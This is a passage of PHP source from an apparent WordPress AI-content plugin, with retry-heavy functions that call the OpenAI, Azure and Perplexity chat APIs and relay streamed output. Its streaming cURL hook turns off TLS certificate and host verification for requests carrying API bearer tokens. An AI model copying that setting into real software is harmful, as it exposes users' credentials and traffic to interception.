                                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                            {
                                                aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                            }
                                            sleep($sleep_time);
                                        }
                                    }
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Azure chat API call after type failure: ' . print_r($api_call['body'], true));
                                    if($sleep_time === false)
                                    {
                                        sleep(pow(2, $retry_count));
                                    }
                                    return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI chat API: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        if(!$stream)
                        {
                            if((isset($result->choices[0]->finish_reason) && $result->choices[0]->finish_reason == 'tool_calls') || (isset($result->choices[0]->finish_details->type) && $result->choices[0]->finish_details->type == 'tool_calls'))
                            {
                                if(isset($functions['message']))
                                {
                                    $result->choices[0]->message->content = $functions['message'];
                                }
                                else
                                {
                                    $result->choices[0]->message->content = 'OK';
                                }
                            }
                            if(!isset($result->choices[0]->message->content))
                            {
                                delete_option('aiomatic_deployments_list');
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after choices failure: ' . print_r($api_call['body'], true));
                                    sleep(pow(2, $retry_count));
                                    return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                                }
                                else
                                {
                                    if(isset($result->code) && $result->code == 'content_filter')
                                    {
                                        $error = 'Error: The response was filtered by our content management policy.';
                                        return false;
                                    }
                                    else
                                    {
                                        $error = 'Error: Choices not found in initial Azure chat API result: ' . print_r($result, true);
                                        return false;
                                    }
                                }
                            }
                            else
                            {
                                if(isset($result->choices[0]->message->tool_calls))
                                {
                                    $result->tool_calls = $result->choices[0]->message->tool_calls;
                                }
                                $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                                apply_filters( 'aiomatic_ai_reply', $result->choices[0]->message->content, $query );
                                if(isset($result->choices[0]->finish_reason))
                                {
                                    $finish_reason = $result->choices[0]->finish_reason;
                                }
                                else
                                {
                                    $finish_reason = $result->choices[0]->finish_details->type;
                                }
                                if($is_chat == true)
                                {
                                    if (empty($result->choices[0]->message->content) && isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $retry_count)
                                    {
                                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after AI writer ended conversation.');
                                        return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                                    }
                                    else
                                    {
                                        if($count_vision)
                                        {
                                            $stats = [
                                                "env" => $query->env,
                                                "session" => $query->session,
                                                "mode" => 'image',
                                                "model" => $query->model,
                                                "apiRef" => $query->apiKey,
                                                "units" => 1,
                                                "type" => 'images',
                                            ];
                                            if (empty($stats["price"])) {
                                                if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                                    $stats["price"] = 0;
                                                } else {
                                                    $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                                }
                                            }
                                            $GLOBALS['aiomatic_stats']->add($stats);
                                        }
                                        if($dump_result === true)
                                        {
                                            return $result;
                                        }
                                        return $result->choices[0]->message->content;
                                    }
                                }
                                else
                                {
                                    if($count_vision)
                                    {
                                        $stats = [
                                            "env" => $query->env,
                                            "session" => $query->session,
                                            "mode" => 'image',
                                            "model" => $query->model,
                                            "apiRef" => $query->apiKey,
                                            "units" => 1,
                                            "type" => 'images',
                                        ];
                                        if (empty($stats["price"])) {
                                            if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                                $stats["price"] = 0;
                                            } else {
                                                $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                            }
                                        }
                                        $GLOBALS['aiomatic_stats']->add($stats);
                                    }
                                    return $result->choices[0]->message->content;
                                }
                            }
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                else
                {
                    $base_params = [
                        'model' => $model,
                        'messages' => $aicontent,
                        'temperature' => $temperature,
                        'top_p' => $top_p,
                        'presence_penalty' => $presence_penalty,
                        'frequency_penalty' => $frequency_penalty,
                    ];
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        $base_params['stream'] = true;
                    }
                    if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                    {
                        $base_params['max_tokens'] = $available_tokens;
                    }
                    if($functions !== false && !empty($functions) && isset($functions['functions']) && !empty($functions['functions']))
                    {
                        $base_params['tools'] = $functions['functions'];
                        $base_params['tool_choice'] = 'auto';
                    }
                    if (isset($aiomatic_Main_Settings['ai_seed']) && $aiomatic_Main_Settings['ai_seed'] != '')
                    {
                        $base_params['seed'] = intval($aiomatic_Main_Settings['ai_seed']);
                    }
                    try
                    {
                        $send_json = aiomatic_safe_json_encode($base_params);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in chat API payload encoding: ' . print_r($e->getMessage(), true);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode chat API payload: ' . print_r($base_params, true);
                        return false;
                    }
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        add_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $xh = array(
                        'Content-Type' => 'application/json',
                        'Authorization' => 'Bearer ' . $token,
                    );
                    if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '')
                    {
                        $xh['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization'];
                    }
                    $api_call = wp_remote_post(
                        'https://api.openai.com/v1/chat/completions',
                        array(
                            'headers' => $xh,
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        remove_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after initial failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial chat API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($stream === false && $result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after decode failure(2): ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial chat API response: ' . print_r($api_call, true);
                                return false;
                            }
                        }
                        $is_error = false;
                        $sleep_time = false;
                        if(isset($result->error))
                        {
                            $result = $result->error;
                            $is_error = true;
                        }
                        if($is_error && isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your OpenAI chat quota limit. To fix this, if you are using a free OpenAI account, you need to add a VISA card to your account, as OpenAI heavily limits free accounts. Please check details here: https://platform.openai.com/docs/guides/rate-limits.';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the chat API, result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                    {
                                        $errmessage = $result->message;
                                        preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                        if(isset($htmlrez[1][0]))
                                        {
                                            $sleep_time = ceil(floatval($htmlrez[1][0]));
                                            if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                            {
                                                aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                            }
                                            sleep($sleep_time);
                                        }
                                    }
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after type failure: ' . print_r($api_call['body'], true));
                                    if($sleep_time === false)
                                    {
                                        sleep(pow(2, $retry_count));
                                    }
                                    return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                                }
                                else
                                {
                                    $error = 'Error: An error occurred when initially calling OpenAI chat API: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        if(!$stream)
                        {
                            if((isset($result->choices[0]->finish_reason) && $result->choices[0]->finish_reason == 'tool_calls') || (isset($result->choices[0]->finish_details->type) && $result->choices[0]->finish_details->type == 'tool_calls'))
                            {
                                if(isset($functions['message']))
                                {
                                    $result->choices[0]->message->content = $functions['message'];
                                }
                                else
                                {
                                    $result->choices[0]->message->content = 'OK';
                                }
                            }
                            if(!isset($result->choices[0]->message->content))
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after choices failure: ' . print_r($api_call['body'], true));
                                    sleep(pow(2, $retry_count));
                                    return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                                }
                                else
                                {
                                    if(isset($result->code) && $result->code == 'content_filter')
                                    {
                                        $error = 'Error: The response was filtered by our content management policy.';
                                        return false;
                                    }
                                    else
                                    {
                                        $error = 'Error: Choices not found in initial OpenAI chat API result: ' . print_r($result, true);
                                        return false;
                                    }
                                }
                            }
                            else
                            {
                                if(isset($result->choices[0]->message->tool_calls))
                                {
                                    $result->tool_calls = $result->choices[0]->message->tool_calls;
                                }
                                $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                                apply_filters( 'aiomatic_ai_reply', $result->choices[0]->message->content, $query );
                                if(isset($result->choices[0]->finish_reason))
                                {
                                    $finish_reason = $result->choices[0]->finish_reason;
                                }
                                else
                                {
                                    $finish_reason = $result->choices[0]->finish_details->type;
                                }
                                if($is_chat == true)
                                {
                                    if($dump_result === true)
                                    {
                                        return $result;
                                    }
                                    if (empty($result->choices[0]->message->content) && isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $retry_count)
                                    {
                                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after AI writer ended conversation.');
                                        return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                                    }
                                    else
                                    {
                                        if($count_vision)
                                        {
                                            $stats = [
                                                "env" => $query->env,
                                                "session" => $query->session,
                                                "mode" => 'image',
                                                "model" => $query->model,
                                                "apiRef" => $query->apiKey,
                                                "units" => 1,
                                                "type" => 'images',
                                            ];
                                            if (empty($stats["price"])) {
                                                if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                                    $stats["price"] = 0;
                                                } else {
                                                    $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                                }
                                            }
                                            $GLOBALS['aiomatic_stats']->add($stats);
                                        }
                                        if(isset($result->aiomatic_tool_direct_message) && empty($function_result))
                                        {
                                            $my_message = '';
                                            foreach($result->aiomatic_tool_direct_message as $dm)
                                            {
                                                $my_message .= $dm['content'] . ' ';
                                            }
                                            $my_message = trim($my_message);
                                            return $my_message;
                                        }
                                        if(isset($result->aiomatic_tool_results) && empty($function_result))
                                        {
                                            //recalling with function result
                                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, $finish_reason, $error, true, true, $functions, $stream, $vision_file, $dont_add_vision, $user_question, $embedding_namespace, $result->aiomatic_tool_results, $dump_result);
                                        }
                                        return $result->choices[0]->message->content;
                                    }
                                }
                                else
                                {
                                    if($count_vision)
                                    {
                                        $stats = [
                                            "env" => $query->env,
                                            "session" => $query->session,
                                            "mode" => 'image',
                                            "model" => $query->model,
                                            "apiRef" => $query->apiKey,
                                            "units" => 1,
                                            "type" => 'images',
                                        ];
                                        if (empty($stats["price"])) {
                                            if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                                $stats["price"] = 0;
                                            } else {
                                                $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                            }
                                        }
                                        $GLOBALS['aiomatic_stats']->add($stats);
                                    }
                                    return $result->choices[0]->message->content;
                                }
                            }
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                $error = 'Failed to finish chat API call correctly.';
                return false;
            }
            function aiomatic_generate_text_perplexity($token, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, $retry_count, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result)
            {
                if($temperature == 2)
                {
                    $temperature = 1.9;
                }
                if($frequency_penalty <= 0)
                {
                    $frequency_penalty = 1;
                }
                if(is_array($aicontent))
                {
                    if(isset($aicontent[0]['role']) && $aicontent[0]['role'] == 'system')
                    {
                        if(isset($aicontent[1]['role']) && $aicontent[1]['role'] == 'assistant')
                        {
                            array_splice( $aicontent, 1, 0, array(array('role' => 'user', 'content' => ' ')) );
                        }
                    }
                    elseif(isset($aicontent[0]['role']) && $aicontent[0]['role'] == 'assistant')
                    {
                        array_splice( $aicontent, 0, 0, array(array('role' => 'user', 'content' => ' ')) );
                    }
                }
                $base_params = [
                    'model' => $model,
                    'messages' => $aicontent,
                    'temperature' => $temperature,
                    'top_p' => $top_p,
                    'presence_penalty' => $presence_penalty,
                    'frequency_penalty' => $frequency_penalty,
                ];
                if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                {
                    $base_params['stream'] = true;
                }
                if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                {
                    $base_params['max_tokens'] = $available_tokens;
                }
                if($functions !== false && !empty($functions) && isset($functions['functions']) && !empty($functions['functions']))
                {
                    $base_params['tools'] = $functions['functions'];
                    $base_params['tool_choice'] = 'auto';
                }
                if (isset($aiomatic_Main_Settings['ai_seed']) && $aiomatic_Main_Settings['ai_seed'] != '')
                {
                    $base_params['seed'] = intval($aiomatic_Main_Settings['ai_seed']);
                }
                try
                {
                    $send_json = aiomatic_safe_json_encode($base_params);
                }
                catch(Exception $e)
                {
                    $error = 'Error: Exception in chat API payload encoding: ' . print_r($e->getMessage(), true);
                    return false;
                }
                if($send_json === false)
                {
                    $error = 'Error: Failed to encode chat API payload: ' . print_r($base_params, true);
                    return false;
                }
                if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                {
                    add_action('http_api_curl', 'aiomatic_filterCurlForStream');
                }
                add_action('http_api_curl', 'aiomatic_add_proxy');
                $api_call = wp_remote_post(
                    'https://api.perplexity.ai/chat/completions',
                    array(
                        'headers' => array(
                            'Content-Type' => 'application/json',
                            'Accept' => 'application/json',
                            'Authorization' => 'Bearer ' . $token,
                        ),
                        'body'        => $send_json,
                        'method'      => 'POST',
                        'data_format' => 'body',
                        'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                    )
                );
                remove_action('http_api_curl', 'aiomatic_add_proxy');
                if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                {
                    remove_action('http_api_curl', 'aiomatic_filterCurlForStream');
                }
                if(is_wp_error( $api_call ))
                {
                    if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                    {
                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after initial failure: ' . print_r($api_call, true));
                        sleep(pow(2, $retry_count));
                        return aiomatic_generate_text_perplexity($token, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, intval($retry_count) + 1, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result);
                    }
                    else
                    {
                        $error = 'Error: Failed to get initial chat API response: ' . print_r($api_call, true);
                        return false;
                    }
                }
                else
                {
                    $result = json_decode( $api_call['body'] );
                    if($result === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after decode failure(3): ' . print_r($api_call['body'], true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_perplexity($token, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, intval($retry_count) + 1, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode initial chat API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    $is_error = false;
                    $sleep_time = false;
                    if(isset($result->error))
                    {
                        $result = $result->error;
                        $is_error = true;
                    }
                    if($is_error && isset($result->type))
                    {
                        if($result->type == 'insufficient_quota')
                        {
                            $error = 'Error: You exceeded your PerplexityAI chat quota limit.';
                            return false;
                        }
                        elseif($result->type == 'invalid_request_error')
                        {
                            $error = 'Error: Invalid request submitted to the chat API (2), result: ' . print_r($result, true);
                            return false;
                        }
                        else
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                {
                                    $errmessage = $result->message;
                                    preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                    if(isset($htmlrez[1][0]))
                                    {
                                        $sleep_time = ceil(floatval($htmlrez[1][0]));
                                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                        {
                                            aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                        }
                                        sleep($sleep_time);
                                    }
                                }
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after type failure: ' . print_r($api_call['body'], true));
                                if($sleep_time === false)
                                {
                                    sleep(pow(2, $retry_count));
                                }
                                return aiomatic_generate_text_perplexity($token, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, intval($retry_count) + 1, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result);
                            }
                            else
                            {
                                $error = 'Error: An error occurred when initially calling PerplexityAI chat API: ' . print_r($result, true);
                                return false;
                            }
                        }
                    }
                    if(!$stream)
                    {
                        if((isset($result->choices[0]->finish_reason) && $result->choices[0]->finish_reason == 'tool_calls') || (isset($result->choices[0]->finish_details->type) && $result->choices[0]->finish_details->type == 'tool_calls'))
                        {
                            if(isset($functions['message']))
                            {
                                $result->choices[0]->message->content = $functions['message'];
                            }
                            else
                            {
                                $result->choices[0]->message->content = 'OK';
                            }
                        }
                        if(!isset($result->choices[0]->message->content))
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after choices failure: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_perplexity($token, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, intval($retry_count) + 1, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result);
                            }
                            else
                            {
                                if(isset($result->code) && $result->code == 'content_filter')
                                {
                                    $error = 'Error: The response was filtered by our content management policy.';
                                    return false;
                                }
                                else
                                {
                                    $error = 'Error: Choices not found in initial PerplexityAI chat API result: ' . print_r($result, true);
                                    return false;
                                }
                            }
                        }
                        else
                        {
                            if(isset($result->choices[0]->message->tool_calls))
                            {
                                $result->tool_calls = $result->choices[0]->message->tool_calls;
                            }
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result->choices[0]->message->content, $query );
                            if(isset($result->choices[0]->finish_reason))
                            {
                                $finish_reason = $result->choices[0]->finish_reason;
                            }
                            else
                            {
                                $finish_reason = $result->choices[0]->finish_details->type;
                            }
                            if($is_chat == true)
                            {
                                if (empty($result->choices[0]->message->content) && isset($aiomatic_Main_Settings['max_chat_retry']) && $aiomatic_Main_Settings['max_chat_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_chat_retry']) && intval($aiomatic_Main_Settings['max_chat_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after AI writer ended conversation.');
                                    return aiomatic_generate_text_perplexity($token, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, intval($retry_count) + 1, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result);
                                }
                                else
                                {
                                    if($count_vision)
                                    {
                                        $stats = [
                                            "env" => $query->env,
                                            "session" => $query->session,
                                            "mode" => 'image',
                                            "model" => $query->model,
                                            "apiRef" => $query->apiKey,
                                            "units" => 1,
                                            "type" => 'images',
                                        ];
                                        if (empty($stats["price"])) {
                                            if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                                $stats["price"] = 0;
                                            } else {
                                                $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                            }
                                        }
                                        $GLOBALS['aiomatic_stats']->add($stats);
                                    }
                                    return $result->choices[0]->message->content;
                                }
                            }
                            else
                            {
                                if($count_vision)
                                {
                                    $stats = [
                                        "env" => $query->env,
                                        "session" => $query->session,
                                        "mode" => 'image',
                                        "model" => $query->model,
                                        "apiRef" => $query->apiKey,
                                        "units" => 1,
                                        "type" => 'images',
                                    ];
                                    if (empty($stats["price"])) {
                                        if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                            $stats["price"] = 0;
                                        } else {
                                            $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                        }
                                    }
                                    $GLOBALS['aiomatic_stats']->add($stats);
                                }
                                return $result->choices[0]->message->content;
                            }
                        }
                    }
                    else
                    {
                        return $result;
                    }
                }
            }
            function get_default_model_name($aiomatic_Main_Settings)
            {
                $model = 'gpt-4o-mini';
                return $model;
            }
            function aiomatic_filterCurlForStream($handle)
            {
                curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($handle, CURLOPT_SSL_VERIFYHOST, false);
                curl_setopt($handle, CURLOPT_WRITEFUNCTION, function ($curl_info, $data) 
                {
                    $my_copy_data = trim($data);
                    $prefix = 'data: ';
                    if (substr($my_copy_data, 0, strlen($prefix)) == $prefix) {
                        $my_copy_data = substr($my_copy_data, strlen($prefix));
                    }
                    $suffix = 'data: [DONE]';
                    $needle_length = strlen($suffix);
                    if (substr($my_copy_data, -$needle_length) === $suffix) {
                        $my_copy_data = substr($my_copy_data, 0, -$needle_length);
                    }
                    $my_copy_data = trim($my_copy_data);
                    $response = json_decode($my_copy_data, true);
                    if (isset($response['error']) && !empty($response['error'])) 
                    {
                        $message = isset($response['error']['message']) && !empty($response['error']['message']) ? $response['error']['message'] : '';
                        if (empty($message) && isset($response['error']['code']) && $response['error']['code'] == 'invalid_api_key') {
                            $message = "Incorrect API key provided. You can find your API key at https://platform.openai.com/account/api-keys.";
                        }
                        echo "event: message\n";
                        echo 'data: {"error":[{"message":"' . $message . '"}]}';
                        echo "\n\n";
                        $l1 = ob_get_length();
                        if($l1 === false)
                        {
                            $l1 = 0;
                        }
                        if (ob_get_length())
                        {
                            ob_end_flush();
                        }
                        flush();
                        echo 'data: {"choices":[{"finish_reason":"stop"}]}';
                        echo "\n\n";
                        $l2 = ob_get_length();
                        if($l2 === false)
                        {
                            $l2 = 0;
                        }
                        if (ob_get_length())
                        {
                            ob_end_flush();
                        }
                        flush();
                        return $l1 + $l2;
                    } 
                    else 
                    {
                        echo $data;
                        if (ob_get_length())
                        {
                            ob_flush();
                        }
                        flush();
                        return strlen($data);
                    }
                });
            }
            function aiomatic_get_models($token, $retry_count, &$error)
            {
                $delay = '';
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) 
                {
                    $error = 'Only OpenAI/AiomaticAPI APIs are currently supported for model listing.';
                    return false;
                }
                if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                {
                    if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                    {
                        $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                        if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                        {
                            $delay = rand(trim($tempo[0]), trim($tempo[1]));
                        }
                    }
                    else
                    {
                        if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                        {
                            $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                        }
                    }
                }
                if($delay != '' && is_numeric($delay))
                {
                    usleep($delay);
                }
                if(aiomatic_is_aiomaticapi_key($token))
                {
                    $pargs = array();
                    $api_url = 'https://aiomaticapi.com/apis/ai/v1/models/';
                    $pargs['apikey'] = trim($token);
                    $ai_response = aiomatic_get_web_page_api($api_url, $pargs);
                    if($ai_response === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') AiomaticAPI model API call after initial failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_get_models($token, intval($retry_count) + 1, $error);
                        }
                        else
                        {
                            $error = 'Error: Failed to get AiomaticAPI response!';
                            return false;
                        }
                    }
                    $ai_json = json_decode($ai_response);
                    if($ai_json === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
